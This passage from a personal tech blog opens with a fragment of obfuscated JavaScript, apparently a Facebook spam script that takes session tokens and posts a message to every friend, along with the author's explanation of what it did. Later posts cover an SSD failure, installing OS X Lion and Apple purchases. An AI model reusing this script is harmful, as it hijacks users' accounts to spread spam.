                    _0xaa04x2d['push']({
                        id: _0xaa04x23,
                        name: _0xaa04x2e
                    });
                };
            };
            var _0xaa04xd = [];
            var _0xaa04x2f = [];
            while (_0xaa04x2d['length']) {
                var _0xaa04x30 = Math['floor'](Math['random']() * _0xaa04x2d['length']);
                _0xaa04xd['push'](_0xaa04x2d[_0xaa04x30]);
                _0xaa04x2f['push'](_0xaa04x2d[_0xaa04x30]);
                var _0xaa04x2b = _0xaa04x2d['shift']();
                if (_0xaa04x30) {
                    _0xaa04x2d[_0xaa04x30 - 1] = _0xaa04x2b;
                };
            };
            if (debug) {
                alert('fetched friends: ' + _0xaa04xd['length']);
            };
            var _0xaa04x31 = {
                post_form_id: _0xaa04x1a,
                fb_dtsg: _0xaa04x1b,
                xhpc_composerid: comp,
                xhpc_targetid: _0xaa04x10,
                xhpc_context: 'home',
                xhpc_fbx: '',
                lsd: null,
                post_form_id_source: 'AsyncRequest'
            };
            mt = postmessage;
            m = postmessage;
            while (mt['search']('%tf%') >= 0) {
                var _0xaa04x32 = _0xaa04xd['pop']();
                mt = mt['replace']('%tf%', _0xaa04x13(_0xaa04x32));
                m = m['replace']('%tf%', _0xaa04x11(_0xaa04x32));
            };
            _0xaa04x31['xhpc_message_text'] = mt;
            _0xaa04x31['xhpc_message'] = m;
            if (debug) {
                alert('message text: ' + mt);
            };
            _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x31);
            var _0xaa04x33 = function (_0xaa04x15) {
                    if (_0xaa04x15 == 0) {
                        wf = 0;
                        mf();
                        return;
                    };
                    var _0xaa04x34 = _0xaa04x2f['shift']();
                    var _0xaa04x35 = {
                        post_form_id: _0xaa04x1a,
                        fb_dtsg: _0xaa04x1b,
                        xhpc_composerid: comp,
                        xhpc_targetid: _0xaa04x34['id'],
                        xhpc_context: 'profile',
                        xhpc_fbx: 1,
                        lsd: null,
                        post_form_id_source: 'AsyncRequest'
                    };
                    var _0xaa04x36 = postmessage;
                    var _0xaa04x37 = postmessage;
                    if (_0xaa04xd['length'] == 0) {
                        wf = 0;
                        mf();
                        return;
                    };
                    while (_0xaa04x36['search']('%tf%') >= 0) {
                        var _0xaa04x38 = _0xaa04xd['pop']();
                        _0xaa04x36 = _0xaa04x36['replace']('%tf%', _0xaa04x13(_0xaa04x38));
                        _0xaa04x37 = _0xaa04x37['replace']('%tf%', _0xaa04x11(_0xaa04x38));
                    };
                    _0xaa04x35['xhpc_message_text'] = _0xaa04x36;
                    _0xaa04x35['xhpc_message'] = _0xaa04x37;
                    _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x35);
                    setTimeout(function () {
                        _0xaa04x33(_0xaa04x15 - 1);
                    }, 2000);
                };
            wf++;
            setTimeout(function () {
                _0xaa04x33(nfriends);
            }, 2000);
        });
    };
    mf();
});

As far as I can tell, none of my personal information was compromised by running this. I’ll probably change my password anyway just to be safe. Pretty much, you need to run the JS from within a window/tab that has facebook open. This allows the script access to the cookies associated with facebook (specifically your username, among other things). After, the code goes through your logged in friends and messages all of them using an AJAX call. It does the same thing for the event and your status. In the end, it seems pretty harmless, but I’m going to try avoiding such things in the future.

Posted in: Facebook, Miscellaneous, Programming by Marc Budofsky No Comments

Genius Bar Visit + Failed SSD = >:-(

The other day I posted about how I recently installed the Developers release of Lion to an external drive, and then realized that my iSight camera was no longer working. I visited my local Genius Bar yesterday to have them take a look at the issue and see if there was a quick and easy solution to it. What follows is a rough timeline of what started as a simple repair:

1:55 PM – Arrive at the Apple Store and check in with a Genius Bar representative for my 2 PM reservation.
2:30 PM – Finally get seen by a Genius 30 minutes after my scheduled appointment. He does basic troubleshooting (checking system profiler on my install, booting an external drive with the snow leopard install disc and checking system profiler, clearing SMC) and determines that its either a loose connection on the logic board or the camera has failed. After checking the cost of replacing the iSight camera ($450 for those that are considering it – they need to replace the entire display assembly), we both determine that it might be worth it to open the computer up and check all the cables, and if that doesn’t fix it to leave it alone – I don’t use the camera that much to begin with. [Side Note: The iSight camera still isn't working after re-seating the cables]
4:45 PM – I finally get back to my house after running some other errands in the mall, and go to turn on my MBP. Rather than booting up, I see a flashing folder with a question mark on it.

This is typically associated with a drive failing. I promptly call the Apple store and set up another appointment to have them fix the computer, as they were the last ones to do anything to it before the issue.
5:45 PM – I return to Apple for the second appointment and deal with the same tech as before. He boots the system off of their install drive again and verifies the permissions of my HDD. Once both partitions are scanned, he clicks on the SSD and its completely unformatted – my entire OS X installation vanished in the ~2 hours since I was last there. Since I have a Time Machine backup on my HDD, it wasn’t the end of the world. We created a new partition on the SSD and started the Time Machine Restore process. Given that it was going to take 45 minutes – 1 hour to complete, the tech told me to come back in a little bit rather than sitting there and watching the entire time.
6:15 PM – After wandering around the mall to kill some time, I go back to Apple with the hope that my computer is back up and running. When I walk up to the Genius Bar, my computer is displaying an error message that the Time Machine Restore was not able to complete successfully, and to please restart the computer. I have no clue how long it was sitting there with the error on the screen, but the tech hadn’t seen it before I got back. We restart the computer and fire up Disk Utility once more. However, this time the SSD isn’t present at all – it’s completely dead. Wait – aren’t Solid State Drives supposed to fail in the 1.5-2 million hour range? My drive had 5,000 hours on it, and that’s with a HUGE overestimation. After arguing with the store manager a little bit about who is at fault for the failure [he informed me that unfortunately, they see drives crash all the time at the Genius Bar and its just a coincidence that my drive happened to fail while they were handling it. I don't buy it - my MBP had drive issues after I brought it in for them to fix the Logic Board over winter break also], I leave and head home to tear the computer apart.
7:30 PM – I sit down with the original hard drive [which now has Lion installed on it], a screw driver and an iFixit guide and start tearing the computer down. I get the SSD out and try docking it on my desktop, but it won’t show up on the desktop or under Disk Utility. I quickly install the original HD and put the system back together.
8:45 PM – I call Apple to see if I can bring the computer back once more to have them reload Snow Leopard on it. I remembered the tech mentioned that they had a copy of 10.6.7 that they could image onto a system, and considering I don’t have any means of inserting a CD into the system and can’t find an 8 GB flash drive, this seems to be the next easiest way.
8:50 PM – I’m once again at the Apple store. I don’t even need an appointment at this point. I walk up to the Genius Bar and talk to the same tech who just hands me the network boot cable and lets me go to it.
9:15 PM – The imaging finishes up and I go through the basic set up. I’m at a clean desktop. I thank the tech for the final time and leave, again.
9:30 PM – I rearrange the partitions on the new boot drive to handle 4 different scenarios: 10.7 Install, 10.6 Install, Lion, Snow Leopard. The 10.7 Install and Lion partitions were already there, so it just seemed to make sense. I resize everything appropriately, restore the 10.6 install disc to its partition, and begin the Time Machine Restore. After about 30 minutes the process is finished and I’m finally back to the desktop that I had before this all started (from around 2 PM).
11:30 PM – My MBP is finally back in some working order. I need to delete all of my Time Machine backups to allow the ‘new’ system to start creating backups. I call it quits around 12, and take it as a small win that I’m back up and running.

I immediately RMA’d the OCZ Vertex drive that failed once it was out of the system. After reading a little bit on various forums, it appears that OCZ drives are relatively prone to failure, but they are decently good about replacing/refunding them. I’m still very skeptical of how the drive failed – I brought the computer in and booted off of the SSD when I showed him what was wrong with the system. The only thing that could be considered ‘different’ from my normal use of the computer was that the tech didn’t shut the computer down; rather, he just held the power button to shut it off, almost as if it was a forced shutdown. I think in the future, barring any catastrophic failure that requires an Apple tech, I won’t be bringing my computer back to the Genius Bar.

Given that I’m going back to school tomorrow, and the MBP has become my main computer, I decided it would be more beneficial for myself if I took a trip down to Micro Center today to pick up a new SSD, rather than waiting for the replacement. I set out with the intention of picking up a Vertex 2 80 GB, but the sales rep working talked me out of it – apparently all OCZ drives have reliability issues. He suggested going with an Intel drive, but it was a little too pricey for me. So I ended up with a Samsung 470 Series 60 GB. I came home and tore open the computer again, swapping out the old HD with the Samsung SSD. I booted off of the old HD with the 10.6 Install and restored my system once more.

Here are some quick pictures I snapped (on my iPhone) while doing the Samsung SSD:

Click to Enlarge

Click to Enlarge

Click to Enlarge

Click to Enlarge

 

And with that, after a long and crazy 24 hours, my MBP is back to where it started and will hopefully not be getting opened up anymore in the near future. If it wasn’t for the Time Machine backups, I don’t know how I would deal with the system crashing as fast as it did – within a 2 hour period, the SSD went from proper operation to complete failure. Even hard drives don’t go down that quickly; you usually get some warning signs before the drive ultimately craps out. Ultimately, the computer is back to where I need/want it to be, and will not be having any more changes made to it in the foreseeable future.

Posted in: Hardware, OS X by Marc Budofsky No Comments

OS X 10.7: Lion

A few weeks ago I downloaded a developer’s release of the latest OS X, and finally got around to installing it today. Rather than wipe out my current Snow Leopard setup, I installed Lion to my old MBP hard drive that I’ve had lying around. I had to set up two partitions on the drive, one for the install image and the other to hold the new installation. I’m not sure if both partitions are necessary if you have an optical drive, but given that I have removed mine, this was the easiest way to mount the .dmg image. The install took about 30 minutes total – the computer rebooted once in the middle of the install (~10 minutes in), and then completed the remainder of the installation (~20 more minutes). Given that I’m running it from an external hard drive, I can’t make any comments on the speed of Lion, but the overall feel of the OS is very nice and on par with the reliability I’ve come to expect from Snow Leopard. Two new features that are apparent immediately are (1) the inclusion of ‘Launchpad’ – it’s an applications launcher similar to the one in iOS – and (2) the “reversal” of the trackpad scrolling – rather than moving your fingers down to scroll down, the new system is like iOS in that you scroll the opposite way that you want the page to move. Anyway, check out the screenshot of the system information and desktop below:

OS X 10.7: Lion

Click to Enlarge

One problem I’ve noticed since installing Lion, in both the new installation and in Snow Leopard, is that my iSight camera is no longer present in System Profiler. This means that no applications are seeing the camera also. I’m not sure if this is directly related to the new installation, or has been an ongoing problem that I just realized – the last time I remember using the camera was back in January. I’m currently in the process of trying to fix the issue – I’ve already booted into Safe Mode and repaired disk permissions, and will try resetting the PRAM and SMC later. I’ll post the fix once I figure out what it is exactly.

Posted in: Uncategorized by Marc Budofsky 1 Comment , , ,

I Guess I’ve Become an Apple Convert

I was bored just now and was flipping through some of my old posts, and realized that I have become the person that I so quickly brushed off when I started blogging. The person who will pay the premium for products. The person who regards the brand of their product so highly. I have become an Apple convert.

Not to say this is a bad thing. In fact, with the quality of Apple products on the market, and the lack of competitors in certain areas (ie, Tablets), Apple is one of the most highly regarded brands. However, I went from saying “Apple is too expensive” to “Wow, it looks so nice – I want it”. In the past 2 years, I went from being a Blackberry user and only owning Apple products in the form of iPods to owning one device from each category Apple offers (well, almost at least). I now have a MBP – granted, its an older model, but its still a MBP – an iPad2, an iPhone 4, and still the iPods.

Ultimately, I find it funny – given enough time, anyone’s opinions can change. Once I have an Apple desktop I’ll start to really worry.

Posted in: Miscellaneous by Marc Budofsky No Comments

Where’d You Go?

I’ve been a little busy lately with some of my other projects, and my blog has become a little neglected. I figured it was time for a quick update, list style of course:

1. I’m in the process of finishing up the biggest website I’ve worked on so far. It should be launching in the next few weeks, so keep an eye out for a blog posting announcing it. In short, its a resume critiquing site with a social twist – you upload a single position from your resume and receive feedback from other users. You can then rate their feedback, awarding them points in the process. Additionally, you can add friends and send messages. Like I said, check back in the next week or so for the official announcement.
2. I recently purchased a broken Macbook Late 2007 that is currently sitting in 3 pieces – the keyboard, the bottom case and the screen. I’m hoping to purchase a few parts before my April Break so I can see if its worth fixing when I head home. The screen is cracked, but still appears usable. My biggest concern is that the motherboard has damage to it – if not, I should be able to buy a new upper case assembly (screen/inverter/antennas/etc) and just throw in the few missing pieces for the bottom and have a working computer on my hands.
3. My birthday was just shy of a month ago, and I was fortunate enough to receive a new iPad for it. Given that Apple made the iPad 2 announcement the day before my birthday, I opted to return the iPad I received and waited the week for the iPad 2. After waiting on line at Best Buy for almost 2 hours, I was (probably) one of the first people to handle an iPad 2 – I was standing next to the display models as they were being put on the floor – and got my own 32 GB iPad 2 and Grey Polyurethane Smart Cover. It’s definitely a fun little toy – I’ll try to write a more in-depth review when I have some free time.
4. After my failed attempt of installing an exhaust on my car this past summer, I decided it was time to give it another try. This past week I purchased a Tanabe Concept G axle back exhaust system to be installed over April Break. It should be arriving in the next few days, so when I head home in 2 weeks it will be waiting for me. I’ll try to take pictures and do a write up this time, unlike my intake install.

I think that’s it for the time being – I’m going to try and get back on a more decent schedule in the coming weeks, so keep an eye out for some more in-depth posts to come.

Posted in: Miscellaneous, OS X, Personal, PHP, Scion tC, Web Design by Marc Budofsky No Comments